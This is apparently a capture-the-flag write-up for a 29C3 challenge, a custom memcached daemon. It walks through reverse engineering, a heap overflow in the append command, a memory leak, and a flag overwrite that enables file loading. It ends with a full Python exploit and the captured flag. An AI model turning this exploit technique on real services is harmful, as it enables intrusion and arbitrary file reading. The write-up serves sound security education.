This is a truely unbreakable, genuine, RFC-compliant memcached implementation. Find it running at 220.127.116.11:1024
This challenge consists of a 32-bit executable providing a memcached implementation. It allows us to store and retrieve data.
To figure out the protocol that is being used, we look at the output of strings:
$ strings memcached | less ... CLIENT_ERROR File loading disabled CLIENT_ERROR reload <key> [noreply]CLIENT_ERROR load <key> <filename> [noreply] CLIENT_ERROR delete <key(max 127 chars)> [noreply] CLIENT_ERROR <get|gets> <key(max 127 chars)> CLIENT_ERROR append <key(max 127 chars)> <flags> <exptime> <bytes(max 2048)> [noreply] CLIENT_ERROR <add|set|replace> <key(max 127 chars)> <flags> <exptime> <bytes(max 2048)> [noreply] ...
This indeed looks very much like the way the original memcache daemon works.
The first interesting thing is the ‘File loading disabled’ message.
This indicates that the program contains the ability to load files, which might come in handy to load arbitrary files such as the passwd file or the flag file.
First, however, we should get more details of the internals of the program, so we started disassembling the executable.
The program processes each line separately, comparing the first string (the command, such as add, get, etc) against a virtual function table.
For each command, a separate function is called. We captured the offsets for each function manually using a gdb script:
"add" 0x08049560 "replace" 0x08049560 "set" 0x08049560 "get" 0x08049330 "gets" 0x08049330 "append" 0x08049420 "delete" 0x080491d0 "load" 0x08049010 "reload" 0x08048ec0 "version" 0x08048dc0 "quit" 0x08048e20
Some commands are actually invoking the same function, such as add, replace and set.
We studied the functions in detail, and combined with some debugging we could figure out the internal cache buffer layout:
uint32_t uint32_t 128 bytes 2056 bytes [ key_len ] [ data_len ] [ cache_key ] [ data ] [ 0x88 bytes (136) ] [ 0x808 bytes (2056) ]
For each cache key that is added, a buffer of 2192 bytes is malloc()’ed.
We now of course are very curious whether the length of the data we try to store is verified.
It is, we find the following compare:
cmp eax, 800h
Our data cannot be any longer than 0x800 bytes.
But what if we try to append more data using the append command?
Bingo! After appending more data to the same cache key, we overwrite the next element.
This means that we are able to control the data_len integer of the next element, which is used by the get command to determine how many bytes to write to the socket..
If we send the following sequence to the daemon, we get more data than intended, and also includes some pointers:
"set apples 1 1 2048\r\n" + "A"*2048 + "\r\n" + "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" + "append apples 1 1 24\r\n" + "C"*16 + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" + "get apples2\r\n"
.. 0000820: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 0000830: 0000 0000 0880 e708 0000 0000 d1fe 0100 ................ ..
Now we still have to find a way to use this memory leak to our advantage.
As pointed out earlier, the program has file loading capabilities, but if we try to load a file, we get the following error:
% perl -e 'print "load key /etc/passwd\r\n"' | nc localhost 1024 CLIENT_ERROR File loading disabled
By looking at the disassembly, we notice that the file loading capability can be enabled by starting the program with -l as command line argument.
In turn, this sets a boolean field in the .BSS part of the program (at offset 0x0804B148).
What if we could find a way to write 0x01 to this location so that we enable the file loading capability, and then use the memory leak to retrieve the contents of the file?
This would allow us to read any file and get the flag.
Lets see how the append command works, and how it determines where to write the data to, as it needs to append it after the already existing data.
.text:0804950A mov eax, [eax+4] .text:0804950D mov edx, [esp+2Ch+data] .text:08049511 mov [esp+2Ch+n], ebp ; n .text:08049515 lea eax, [edi+eax+88h] .text:0804951C mov [esp+2Ch+src], edx ; src .text:08049520 mov [esp+2Ch+dest], eax ; dest .text:08049523 call _memcpy
It actually reads the data_len field to determine where to start writing, and as we control this field, we can modify it so that it points to the boolean field.
There is one problem though, we also overwrite the file pointer itself, which causes the program to segfault.
It is easy to fix though, we just embed a fake file pointer.
This leads to the following exploit:
import socket import time from struct import pack, unpack target=('18.104.22.168', 1024) # get offset s = socket.create_connection(target) time.sleep(.5) s.send(( "set apples 1 1 2048\r\n" + "A"*2048 + "\r\n" + "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" + "append apples 1 1 24\r\n" + "C"*16 + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" + "get apples2\r\n")) time.sleep(.5) data = s.recv(8192) s.close() # parse offsets offset = unpack("<I", data[0x0000834:0x0000838]) loc = (0xFFFFFFFF - (offset + 0x88)) + 0x0804b148 - 0x897 offset_ptr = pack("<I", (offset + 0x88)) offset_bool = pack("<I", loc) # exploit s = socket.create_connection(target) time.sleep(.5) s.send(( "set apples1 A A 2048\r\n" + "A"*2048 + "\r\n" + "set apples2 B B 2048\r\n" + "B"*2048 + "\r\n" + "set apples3 C C 2048\r\n" + "C"*2048 + "\r\n" + "set apples4 D D 2048\r\n" + "D"*2048 + "\r\n" + "append apples1 A A 24\r\n" + (offset_ptr*4) + "\x00\x00\x07\x00" + offset_bool + "\r\n" + "append apples2 B B 1\r\n" + "\x01" + "\r\n" + "append apples3 C C 24\r\n" + (offset_ptr*4) + "\x00\x00\x07\x00\x00\x00\x02\x00\r\n" + "load key flag.txt\r\n" + "get apples4\r\n")) time.sleep(.5) print s.recv(8192)
As the heap randomizes on each restart, we first use the memory leak to fetch a pointer, and use that to calculate the correct offsets for the boolean field and the fake file pointer.
The exploit part first sets 4 data elements, which we can append to.
The first append command sets the data_len field of apples2 so that the next append will write \x01 to the boolean field.
The third append will increase the data_len field of apples4 so that we are able to read more data.
Then we load flag.txt, and get apples4, which yields the flag: 29C3_ce7334c21dc0f957806a5aad75e140e2.